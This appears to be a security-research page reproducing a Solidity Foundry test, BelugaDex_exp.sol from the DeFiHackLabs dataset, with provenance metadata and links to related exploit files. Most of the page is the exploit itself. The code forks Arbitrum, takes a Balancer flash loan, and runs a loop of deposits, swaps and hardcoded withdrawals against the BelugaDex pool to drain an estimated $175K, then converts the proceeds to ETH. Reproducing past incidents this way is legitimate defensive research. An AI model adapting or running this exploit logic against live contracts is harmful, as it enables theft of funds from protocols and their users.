Public reproduction file
src/test/2023-10/BelugaDex_exp.sol
Public reproduction file for dataset entry BelugaDex.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$175K8// Attacker : https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b019// Attack Contract : https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c10// Vulnerable Contract : https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a11// Attack Tx : https://arbiscan.io/tx/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe13// @Analysis14// https://twitter.com/AnciliaInc/status/171267604047110587015// https://twitter.com/CertiKAlert/status/171270700697961309717interface IPool {18 function deposit(19 address token,20 uint256 amount,21 address to,22 uint256 deadline23 ) external returns (uint256 liquidity);25 function quotePotentialWithdraw(26 address token,27 uint256 liquidity28 ) external view returns (uint256 amount, uint256 fee, bool enoughCash);30 function swap(31 address fromToken,32 address toToken,33 uint256 fromAmount,34 uint256 minimumToAmount,35 address to,36 uint256 deadline37 ) external returns (uint256 actualToAmount, uint256 haircut);39 function withdraw(40 address token,41 uint256 liquidity,42 uint256 minimumAmount,43 address to,44 uint256 deadline45 ) external returns (uint256 amount);46}48contract ContractTest is Test {49 IERC20 private constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);50 IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);51 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);52 IERC20 private constant USDT_LP = IERC20(0xCFf307451E52B7385A7538f4cF4A861C7a60192B);53 IERC20 private constant USDC_LP = IERC20(0x7CC32EE9567b48182E5424a2A782b2aa6cD0B37b);54 IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);55 IPool private constant Pool = IPool(0x15A024061c151045ba483e9243291Dee6Ee5fD8A);56 IPancakeRouter private constant SushiRouter = IPancakeRouter(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));58 function setUp() public {59 vm.createSelectFork("arbitrum", 140_129_166);60 vm.label(address(USDT), "USDT");61 vm.label(address(USDCe), "USDCe");62 vm.label(address(WETH), "WETH");63 vm.label(address(Vault), "Vault");64 vm.label(address(USDT_LP), "USDT_LP");65 vm.label(address(USDC_LP), "USDC_LP");66 vm.label(address(Pool), "Pool");67 vm.label(address(SushiRouter), "SushiRouter");68 }70 function testExploit() public {71 deal(address(this), 0 ether);72 USDT.approve(address(SushiRouter), type(uint256).max);73 USDCe.approve(address(SushiRouter), type(uint256).max);75 address[] memory tokens = new address[](2);76 tokens[0] = address(USDT);77 tokens[1] = address(USDCe);78 uint256[] memory amounts = new uint256[](2);79 amounts[0] = USDCe.balanceOf(address(USDC_LP)) * 2;80 amounts[1] = USDT.balanceOf(address(USDT_LP)) * 3;82 Vault.flashLoan(address(this), tokens, amounts, abi.encode(1));83 swapTokensSushi(USDT, USDT.balanceOf(address(this)));84 swapTokensSushi(USDCe, USDCe.balanceOf(address(this)));86 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);87 }89 function receiveFlashLoan(90 address[] calldata tokens,91 uint256[] calldata amounts,92 uint256[] calldata feeAmounts,93 bytes calldata userData94 ) external {95 USDT.approve(address(Pool), type(uint256).max);96 USDCe.approve(address(Pool), type(uint256).max);97 USDT_LP.approve(address(Pool), type(uint256).max);98 USDC_LP.approve(address(Pool), type(uint256).max);100 uint256[] memory potentialWithdraws = new uint256[](10);101 potentialWithdraws[0] = 262_774_935_488;102 potentialWithdraws[1] = 281_538_919_198;103 potentialWithdraws[2] = 289_459_196_390;104 potentialWithdraws[3] = 297_534_181_283;105 potentialWithdraws[4] = 311_074_071_725;106 potentialWithdraws[5] = 329_085_528_111;107 potentialWithdraws[6] = 350_236_264_578;108 potentialWithdraws[7] = 374_148_346_983;109 potentialWithdraws[8] = 400_443_817_669;110 potentialWithdraws[9] = 428_928_171_469;112 uint8 i;113 while (i < 10) {114 uint256 amountDeposit1 = USDCe.balanceOf(address(USDC_LP)) * 2;115 uint256 amountDeposit2 = USDT.balanceOf(address(USDT_LP)) * 3;116 uint256 amountSwap1 = amountDeposit2 - amountDeposit2 / 3;117 uint256 diffUSDT = USDT.balanceOf(address(this)) - amountDeposit1;118 uint256 diffUSDCe = USDCe.balanceOf(address(this)) - amountDeposit2;120 deposit(address(USDT), amountDeposit1);121 deposit(address(USDCe), amountDeposit2 / 3);122 Pool.swap(address(USDCe), address(USDT), amountSwap1, 0, address(this), block.timestamp + 1000);124 // Not working logic. I leave this for the future update125 // uint256 liquidity = USDT_LP.balanceOf(address(this));126 // uint8 j;127 // while (j < 20) {128 // uint256 doubledLiquidity = liquidity * 2;129 // liquidity = doubledLiquidity >> 1;130 // Pool.quotePotentialWithdraw(address(USDT), liquidity);131 // ++j;132 // }134 withdraw(address(USDT), potentialWithdraws[i]);136 uint256 fromAmountUSDT = (USDT.balanceOf(address(this)) - diffUSDT) * 3;137 Pool.swap(address(USDT), address(USDCe), fromAmountUSDT >> 2, 0, address(this), block.timestamp + 1000);139 withdraw(address(USDT), USDT_LP.balanceOf(address(this)));141 uint256 fromAmountUSDCe = (USDCe.balanceOf(address(this)) - diffUSDCe);142 Pool.swap(address(USDCe), address(USDT), fromAmountUSDCe >> 1, 0, address(this), block.timestamp);144 withdraw(address(USDCe), USDC_LP.balanceOf(address(this)));145 ++i;146 }147 USDT.transfer(address(Vault), amounts[0]);148 USDCe.transfer(address(Vault), amounts[1]);149 }151 function deposit(address token, uint256 amount) internal {152 Pool.deposit(address(token), amount, address(this), block.timestamp);153 }155 function withdraw(address token, uint256 amount) internal {156 Pool.withdraw(address(token), amount, 0, address(this), block.timestamp + 1000);157 }159 function swapTokensSushi(IERC20 token, uint256 amount) internal {160 address[] memory path = new address[](2);161 path[0] = address(token);162 path[1] = address(WETH);164 SushiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(165 amount, 0, path, address(this), block.timestamp + 1000166 );167 }169 receive() external payable {}170}Analysis
Dataset entry
Public Foundry test for “BelugaDex” (2023-10-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01
- Attack Contract
0x9e8675365366559053f964be5838d5fca008722c
- Vulnerable Contract
0x15a024061c151045ba483e9243291dee6ee5fd8a
- Attack Tx
0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe
- Explorer: https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01
- Explorer: https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c
- Explorer: https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a
- Reference: https://twitter.com/AnciliaInc/status/1712676040471105870
- Reference: https://twitter.com/CertiKAlert/status/1712707006979613097
File record
- Name
- BelugaDex
- Path
- src/test/2023-10/BelugaDex_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d0e9425bb5082c1f3c1ba5c95b46dc36573f5830
- Language
- Solidity
- Size
- 171 lines
- Date
- 2023-10-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/BelugaDex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d0e9425bb5082c1f3c1ba5c95b46dc36573f5830, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.